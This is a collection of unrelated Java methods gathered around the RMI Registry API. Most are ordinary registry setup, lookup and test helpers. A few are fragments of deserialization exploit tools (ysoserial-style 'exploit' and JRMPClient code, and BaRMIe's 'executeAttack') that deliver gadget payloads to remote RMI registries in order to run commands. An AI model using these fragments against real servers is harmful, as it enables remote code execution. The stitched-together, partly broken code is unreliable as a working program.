@BeforeClass public static void setUpClass() throws RemoteException, MalformedURLException, IOException { Registry r = LocateRegistry.createRegistry(9999); mbs = MBeanServerFactory.createMBeanServer(); person = new Test01_JavaIntrospection.Person("Alice Aho", 23); person.knows = new Test01_JavaIntrospection.Person("Bob", 30); JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/server"); cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs); if (cs == null) { throw new RuntimeException("Could not setUpClass() for test! JMXConnectorServerFactory.newJMXConnectorServer FAILED (Returned null...)! Url: " + url + ", mbs: " + mbs); } cs.start(); System.out.println("Registry created / JMX connector started."); }
public static void exploit(final Registry registry, final Class<? extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); }
public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
@Override protected Registry getRegistry( String registryHost, int registryPort, RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory) throws RemoteException { if(enabled) { return super.getRegistry(registryHost, registryPort, clientSocketFactory, serverSocketFactory); } else { throw new RemoteException(ERR_MSG_NOT_ENABLED); } }
public static void main(String[] args) { try { int registryPort = Integer.parseInt(System.getProperty("rmi.registry.port")); Registry registry = LocateRegistry.getRegistry("", registryPort); ShutdownMonitor monitor = (ShutdownMonitor) registry.lookup(KeepAliveDuringCall.BINDING); System.err.println("(ShutdownImpl) retrieved shutdown monitor"); impl = new ShutdownImpl(monitor); Shutdown stub = (Shutdown) UnicastRemoteObject.exportObject(impl); System.err.println("(ShutdownImpl) exported shutdown object"); monitor.submitShutdown(stub); System.err.println("(ShutdownImpl) submitted shutdown object"); } catch (Exception e) { System.err.println("(ShutdownImpl) TEST SUBPROCESS FAILURE:"); e.printStackTrace(); } }
/** * Locate or create the RMI registry for this exporter. * @param registryHost the registry host to use (if this is specified, * no implicit creation of a RMI registry will happen) * @param registryPort the registry port to use * @param clientSocketFactory the RMI client socket factory for the registry (if any) * @param serverSocketFactory the RMI server socket factory for the registry (if any) * @return the RMI registry * @throws RemoteException if the registry couldn't be located or created */ protected Registry getRegistry(String registryHost, int registryPort, RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory) throws RemoteException { if (registryHost != null) { // Host explicitly specified: only lookup possible. if (logger.isInfoEnabled()) { logger.info("Looking for RMI registry at port '" + registryPort + "' of host [" + registryHost + "]"); } Registry reg = LocateRegistry.getRegistry(registryHost, registryPort, clientSocketFactory); testRegistry(reg); return reg; } else { return getRegistry(registryPort, clientSocketFactory, serverSocketFactory); } }
/** * Locate or create the RMI registry for this exporter. * @param registryPort the registry port to use * @return the RMI registry * @throws RemoteException if the registry couldn't be located or created */ protected Registry getRegistry(int registryPort) throws RemoteException { if (this.alwaysCreateRegistry) { logger.info("Creating new RMI registry"); return LocateRegistry.createRegistry(registryPort); } if (logger.isInfoEnabled()) { logger.info("Looking for RMI registry at port '" + registryPort + "'"); } synchronized (LocateRegistry.class) { try { // Retrieve existing registry. Registry reg = LocateRegistry.getRegistry(registryPort); testRegistry(reg); return reg; } catch (RemoteException ex) { logger.debug("RMI registry access threw exception", ex); logger.info("Could not detect RMI registry - creating new one"); // Assume no registry found -> create new one. return LocateRegistry.createRegistry(registryPort); } } }
/** * Locate or create the RMI registry. * @param registryHost the registry host to use (if this is specified, * no implicit creation of a RMI registry will happen) * @param registryPort the registry port to use * @param clientSocketFactory the RMI client socket factory for the registry (if any) * @param serverSocketFactory the RMI server socket factory for the registry (if any) * @return the RMI registry * @throws java.rmi.RemoteException if the registry couldn't be located or created */ protected Registry getRegistry(String registryHost, int registryPort, RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory) throws RemoteException { if (registryHost != null) { // Host explicitly specified: only lookup possible. if (logger.isInfoEnabled()) { logger.info("Looking for RMI registry at port '" + registryPort + "' of host [" + registryHost + "]"); } Registry reg = LocateRegistry.getRegistry(registryHost, registryPort, clientSocketFactory); testRegistry(reg); return reg; } else { return getRegistry(registryPort, clientSocketFactory, serverSocketFactory); } }
/** * Locate or create the RMI registry. * @param registryPort the registry port to use * @return the RMI registry * @throws RemoteException if the registry couldn't be located or created */ protected Registry getRegistry(int registryPort) throws RemoteException { if (this.alwaysCreate) { logger.info("Creating new RMI registry"); this.created = true; return LocateRegistry.createRegistry(registryPort); } if (logger.isInfoEnabled()) { logger.info("Looking for RMI registry at port '" + registryPort + "'"); } synchronized (LocateRegistry.class) { try { // Retrieve existing registry. Registry reg = LocateRegistry.getRegistry(registryPort); testRegistry(reg); return reg; } catch (RemoteException ex) { logger.debug("RMI registry access threw exception", ex); logger.info("Could not detect RMI registry - creating new one"); // Assume no registry found -> create new one. this.created = true; return LocateRegistry.createRegistry(registryPort); } } }
protected RemotableQuartzScheduler getRemoteScheduler() throws SchedulerException { if (rsched != null) { return rsched; } try { Registry registry = LocateRegistry.getRegistry(rmiHost, rmiPort); rsched = (RemotableQuartzScheduler) registry.lookup(schedId); } catch (Exception e) { SchedulerException initException = new SchedulerException( "Could not get handle to remote scheduler: " + e.getMessage(), e); throw initException; } return rsched; }
/** * Helper method to determine if registry has started * * @param port The port number to check * @param msTimeout The amount of milliseconds to spend checking */ public static boolean checkIfRegistryRunning(int port, int msTimeout) { final long POLLTIME_MS = 100L; long stopTime = computeDeadline(System.currentTimeMillis(), msTimeout); do { try { Registry r = LocateRegistry.getRegistry(port); String[] s = r.list(); // no exception. We're now happy that registry is running return true; } catch (RemoteException e) { // problem - not ready ? Try again try { Thread.sleep(POLLTIME_MS); } catch (InterruptedException ie) { // not expected } } } while (System.currentTimeMillis() < stopTime); return false; }
private Registry startRegistry() throws InterruptedException, RemoteException { Registry registry = null; try { System.out.println("Start rmiregistry on port " + port); registry = LocateRegistry .createRegistry(Integer.parseInt(port)); } catch (RemoteException e) { if (e.getMessage().contains("Port already in use")) { System.out.println("Port already in use. Trying to restart with a new one..."); Thread.sleep(100); return null; } else { throw e; } } return registry; }
/** * Returns the port number the RMI {@link Registry} is running on. * * @param registry the registry to find the port of. * @return the port number the registry is using. * @throws RuntimeException if there was a problem getting the port number. */ public static int getRegistryPort(Registry registry) { int port = -1; try { RemoteRef remoteRef = ((RegistryImpl)registry).getRef(); LiveRef liveRef = ((UnicastServerRef)remoteRef).getLiveRef(); Endpoint endpoint = liveRef.getChannel().getEndpoint(); TCPEndpoint tcpEndpoint = (TCPEndpoint) endpoint; port = tcpEndpoint.getPort(); } catch (Exception ex) { throw new RuntimeException("Error getting registry port.", ex); } return port; }
public static Remote getRemoteEntityFromHost(String host, int puerto, String identEntity) throws java.rmi.RemoteException { Registry regCliente = LocateRegistry.getRegistry(host, puerto); Object remoteEntity = null; // ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas(); try { if (regCliente == null) { // System.err.println("buscarAgenteRemoto regCliente == null"); // if (trazas != null) trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+ identEntity + " No se consigue encontrar el registro RMI del Host :" + host + " puerto:" + puerto, NivelTraza.debug)); } return regCliente.lookup(identEntity); } catch (Exception ex) { System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage()); trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+ identEntity + " No se consigue encontrar el registro RMI del Host :" + host + " puerto:"+ puerto , NivelTraza.debug)); // Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex); return null; } }
public static ItfUsoAgenteReactivo buscarAgenteRemoto(String ip, int puerto, String nombreAgente) throws java.rmi.RemoteException { Registry regCliente = LocateRegistry.getRegistry(ip, puerto); ItfUsoAgenteReactivo agenteRemoto = null; // ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas(); try { if (regCliente == null) { System.err.println("buscarAgenteRemoto regCliente == null"); if (trazas != null) trazas.aceptaNuevaTraza(new InfoTraza("ControlRMI (null)", "No consigo encontrar al agente: "+ nombreAgente + " en ip:" + ip + " puerto:" + puerto, NivelTraza.error)); } agenteRemoto = (ItfUsoAgenteReactivo) regCliente.lookup(nombreAgente); return agenteRemoto; } catch (Exception ex) { System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage()); if (trazas != null) trazas.aceptaNuevaTraza(new InfoTraza("ControlRMI (Excepcion)", "No consigo encontrar al agente: "+ nombreAgente + " en ip:" + ip + " puerto:" + puerto, NivelTraza.error)); // Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex); return null; } }
protected RemotableQuartzScheduler getRemoteScheduler() throws SchedulerException { if (rsched != null) { return rsched; } try { Registry registry = LocateRegistry.getRegistry(rmiHost, rmiPort); rsched = (RemotableQuartzScheduler) registry.lookup(schedId); } catch (Exception e) { SchedulerException initException = new SchedulerException( "Could not get handle to remote scheduler: " + e.getMessage(), e); initException .setErrorCode(SchedulerException.ERR_COMMUNICATION_FAILURE); throw initException; } return rsched; }
/** * <p> * Un-bind the scheduler from an RMI registry. * </p> */ private void unBind() throws RemoteException { String host = resources.getRMIRegistryHost(); // don't un-export if we're not configured to do so... if (host == null || host.length() == 0) { return; } Registry registry = LocateRegistry.getRegistry(resources .getRMIRegistryHost(), resources.getRMIRegistryPort()); String bindName = resources.getRMIBindName(); try { registry.unbind(bindName); UnicastRemoteObject.unexportObject(this, true); } catch (java.rmi.NotBoundException nbe) { } getLog().info("Scheduler un-bound from name '" + bindName + "' in RMI registry"); }
public static void exploit(final Registry registry, final Class<? extends ObjectPayload> payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); CmdExecuteHelper cmdHelper = new CmdExecuteHelper("none", command); Object payload = payloadObj.getObject(cmdHelper); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); }
/** * Returns the registry at a given host, port and socket factory. * If "host" is null, uses default host. * If "port" is non-positive, uses default port. * If "socketFactory" is null, uses the default socket. */ private static Registry getRegistry(String host, int port, RMIClientSocketFactory socketFactory) throws NamingException { // %%% We could cache registry connections here. The transport layer // may already reuse connections. try { if (socketFactory == null) { return LocateRegistry.getRegistry(host, port); } else { return LocateRegistry.getRegistry(host, port, socketFactory); } } catch (RemoteException e) { throw (NamingException)wrapRemoteException(e).fillInStackTrace(); } }
public synchronized Channel inheritedChannel() throws IOException { System.err.println("SP.inheritedChannel"); if (channel == null) { channel = SocketChannel.open(); Socket socket = channel.socket(); System.err.println("socket = " + socket); /* * Notify test that inherited channel was created. */ try { System.err.println("notify test..."); Registry registry = LocateRegistry.getRegistry(TestLibrary.INHERITEDCHANNELNOTSERVERSOCKET_REGISTRY_PORT); Callback obj = (Callback) registry.lookup("Callback"); obj.notifyTest(); } catch (NotBoundException nbe) { throw (IOException) new IOException("callback object not bound"). initCause(nbe); } } return channel; }
public synchronized Channel inheritedChannel() throws IOException { System.err.println("SP.inheritedChannel"); if (channel == null) { channel = SocketChannel.open(); Socket socket = channel.socket(); System.err.println("socket = " + socket); /* * Notify test that inherited channel was created. */ try { System.err.println("notify test..."); int registryPort = Integer.getInteger( "test.java.rmi.rmidViaInheritedChannel.registry.port", 0); Registry registry = LocateRegistry.getRegistry(registryPort); Callback obj = (Callback) registry.lookup("Callback"); obj.notifyTest(); } catch (NotBoundException nbe) { throw (IOException) new IOException("callback object not bound"). initCause(nbe); } } return channel; }
/** * Helper method to determine if registry has started * * @param port The port number to check * @param msTimeout The amount of milliseconds to spend checking */ public static boolean checkIfRegistryRunning(int port, int msTimeout) { long stopTime = System.currentTimeMillis() + msTimeout; do { try { Registry r = LocateRegistry.getRegistry(port); String[] s = r.list(); // no exception. We're now happy that registry is running return true; } catch (RemoteException e) { // problem - not ready ? Try again try { Thread.sleep(500); } catch (InterruptedException ie) { // not expected } } } while (stopTime > System.currentTimeMillis()); return false; }
public void connectServer() { try { Registry reg=LocateRegistry.getRegistry("localhost",5040); serverAddress = (ServerInterface) reg.lookup("LionKing"); System.out.println("Connected to Server"); }catch(Exception e) { System.out.println(e); } }
/** * Start the Server and wait for user termination by keyboard. * * @param args * This program does not accept command line parameters. */ public static void main(String args[]) { // Override the default security manager System.setSecurityManager(new SecurityManager()); try { LocateRegistry.createRegistry(Registry.REGISTRY_PORT); } catch (RemoteException remoteException) { remoteException.printStackTrace(); } Server server = new Server(); System.out.println("Server started."); System.out.println("Enter <CR> to end."); try { System.in.read(); // Wait for Enter ... } catch (IOException ioException) { ioException.printStackTrace(); } try { Naming.unbind("//" + server.hostname + "/meganalysis"); } catch (Exception e) { e.printStackTrace(); } finally { System.exit(0); } }
public static void main(final String[] args) throws Exception { final String host = args[0]; final int port = Integer.parseInt(args[1]); final String command = args[3]; final Registry registry = LocateRegistry.getRegistry(host, port); final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className); // ensure payload doesn't detonate during construction or deserialization exploit(registry, payloadClass, command); }
public static void main(String[] args) throws Exception { Registry impl = TestLibrary.createRegistryOnEphemeralPort(); Registry stub = (Registry) RemoteObject.toStub(impl); stub.bind("", stub); stub.lookup(""); stub.rebind("", stub); stub.lookup(""); stub.unbind(""); }
public String getInstance(IStochModelFactory.OutputLevel outputLevel) { String instanceID=null; try { nModels++; instanceID= FactoryBindingID+"_IRmiIStochModel_"+nModels; // Create a new model instance IStochModelInstance newStochModel = stochModelFactory.getInstance(outputLevel); // Create a new server instance and set the new model for this instance Server obj = new Server(); obj.setModel(newStochModel); IRmiIStochModel stub = (IRmiIStochModel) UnicastRemoteObject.exportObject(obj, 0); // Register this insntance such that it will not be deleted. allStochModels.add(stub); // Bind the remote object's stub in the registry Registry registry = LocateRegistry.getRegistry(); registry.bind(instanceID, stub); System.err.println("Server has created model "+instanceID); } catch (Exception e) { System.err.println("Server exception when creating new model: " + e.toString()); e.printStackTrace(); } return instanceID; }
@Override protected Registry getRegistry( int registryPort, RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory) throws RemoteException { if(enabled) { return super.getRegistry(registryPort, clientSocketFactory, serverSocketFactory); } else { throw new RemoteException(ERR_MSG_NOT_ENABLED); } }
@Override protected Registry getRegistry(int registryPort) throws RemoteException { if(enabled) { return super.getRegistry(registryPort); } else { throw new RemoteException(ERR_MSG_NOT_ENABLED); } }
public Registry getRegistry() { if( this.registry == null ) { throw new RmiException( "No connection available to " + this.connectionDescription ); } else { return this.registry; } }
private void verifyNoRmiRegistryOnDefaultPort() throws Exception { try { Registry registry = LocateRegistry.getRegistry(); registry.list(); throw new Exception("There is already RMI registry on the default port: " + registry); } catch (RemoteException e) { // No RMI registry on default port is detected } }
/******************* * Execute the deserialization attack against the given RMI endpoint using * the given payload. * * @param ep The enumerated RMI endpoint. * @param payload The deserialization payload to deliver. * @param cmd The command to use for payload generation. ******************/ public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { RMIBindExploitProxy proxy = null; Registry reg; //Launch the attack try { //Start a bind exploit proxy System.out.println("[~] Starting RMI registry proxy..."); proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0)); proxy.startProxy(); System.out.println("[+] Proxy started"); //Get a proxied RMI registry reference System.out.println("[~] Getting proxied RMI Registry reference..."); reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); //Bind a dummy object in an attempt to trigger the vulnerability System.out.println("[~] Calling bind(PAYLOAD, null)..."); reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); } catch(Exception ex) { //Check the exception for useful info this.checkDeserException(ex); } finally { //Stop the proxy if(proxy != null) { proxy.stopProxy(true); } } }
/******************* * Chain a full RMI proxy to a serialVersionUID fixing proxy in order to * retrieve a fully proxied remote object reference even if the * serialVersionUID does not match that of the local class. * * @param ep An enumerated RMI endpoint. * @param name The name of the object to look up. * @param payload The raw bytes of the deserialization payload to use. * @param marker The bytes that the method call proxy should replace with the payload bytes. * @return The remote object reference. ******************/ private final Object getProxiedObjectWithUIDHack(RMIEndpoint ep, String name, byte[] payload, byte[] marker) throws BaRMIeException { RMIObjectUIDFixingProxy uidFixer = null; RMIObjectProxy objProxy; Registry reg; Object obj = null; try { //Start a UID fixing proxy uidFixer = new RMIObjectUIDFixingProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options); uidFixer.startProxy(); this._proxies.add(uidFixer); //Start an RMI object proxy and chain it to the UID fixing proxy objProxy = new RMIObjectProxy(uidFixer.getServerListenAddress(), uidFixer.getServerListenPort(), this._options, payload, marker); objProxy.startProxy(); this._proxies.add(objProxy); //Retrieve a proxied RMI registry instance reg = LocateRegistry.getRegistry(objProxy.getServerListenAddress().getHostAddress(), objProxy.getServerListenPort()); //Lookup the target remote object obj = reg.lookup(name); } catch(Exception ex) { throw new BaRMIeGetObjectException("Failed to retrieve proxied object using serialVersionUID hack.", ex); } //Return the remote object return obj; }
/** * Locate or create the RMI registry for this exporter. * @param registryPort the registry port to use * @param clientSocketFactory the RMI client socket factory for the registry (if any) * @param serverSocketFactory the RMI server socket factory for the registry (if any) * @return the RMI registry * @throws RemoteException if the registry couldn't be located or created */ protected Registry getRegistry( int registryPort, RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory) throws RemoteException { if (clientSocketFactory != null) { if (this.alwaysCreateRegistry) { logger.info("Creating new RMI registry"); return LocateRegistry.createRegistry(registryPort, clientSocketFactory, serverSocketFactory); } if (logger.isInfoEnabled()) { logger.info("Looking for RMI registry at port '" + registryPort + "', using custom socket factory"); } synchronized (LocateRegistry.class) { try { // Retrieve existing registry. Registry reg = LocateRegistry.getRegistry(null, registryPort, clientSocketFactory); testRegistry(reg); return reg; } catch (RemoteException ex) { logger.debug("RMI registry access threw exception", ex); logger.info("Could not detect RMI registry - creating new one"); // Assume no registry found -> create new one. return LocateRegistry.createRegistry(registryPort, clientSocketFactory, serverSocketFactory); } } } else { return getRegistry(registryPort); } }
/** * Locate or create the RMI registry. * @param registryPort the registry port to use * @param clientSocketFactory the RMI client socket factory for the registry (if any) * @param serverSocketFactory the RMI server socket factory for the registry (if any) * @return the RMI registry * @throws RemoteException if the registry couldn't be located or created */ protected Registry getRegistry( int registryPort, RMIClientSocketFactory clientSocketFactory, RMIServerSocketFactory serverSocketFactory) throws RemoteException { if (clientSocketFactory != null) { if (this.alwaysCreate) { logger.info("Creating new RMI registry"); this.created = true; return LocateRegistry.createRegistry(registryPort, clientSocketFactory, serverSocketFactory); } if (logger.isInfoEnabled()) { logger.info("Looking for RMI registry at port '" + registryPort + "', using custom socket factory"); } synchronized (LocateRegistry.class) { try { // Retrieve existing registry. Registry reg = LocateRegistry.getRegistry(null, registryPort, clientSocketFactory); testRegistry(reg); return reg; } catch (RemoteException ex) { logger.debug("RMI registry access threw exception", ex); logger.info("Could not detect RMI registry - creating new one"); // Assume no registry found -> create new one. this.created = true; return LocateRegistry.createRegistry(registryPort, clientSocketFactory, serverSocketFactory); } } } else { return getRegistry(registryPort); } }
private static void doTestConnect(int port, int rmiPort) throws Exception { dbg_print("RmiRegistry lookup..."); dbg_print("Using port: " + port); dbg_print("Using rmi port: " + rmiPort); Registry registry = LocateRegistry.getRegistry(port); // "jmxrmi" String[] relist = registry.list(); for (int i = 0; i < relist.length; ++i) { dbg_print("Got registry: " + relist[i]); } String jmxUrlStr = (rmiPort != 0) ? String.format( "service:jmx:rmi://localhost:%d/jndi/rmi://localhost:%d/jmxrmi", rmiPort, port) : String.format( "service:jmx:rmi:///jndi/rmi://localhost:%d/jmxrmi", port); JMXServiceURL url = new JMXServiceURL(jmxUrlStr); JMXConnector c = JMXConnectorFactory.connect(url, null); MBeanServerConnection conn = c.getMBeanServerConnection(); ObjectName pattern = new ObjectName("java.lang:type=Memory,*"); int count = listMBeans(conn,pattern,null); if (count == 0) throw new Exception("Expected at least one matching " + "MBean for " + pattern); }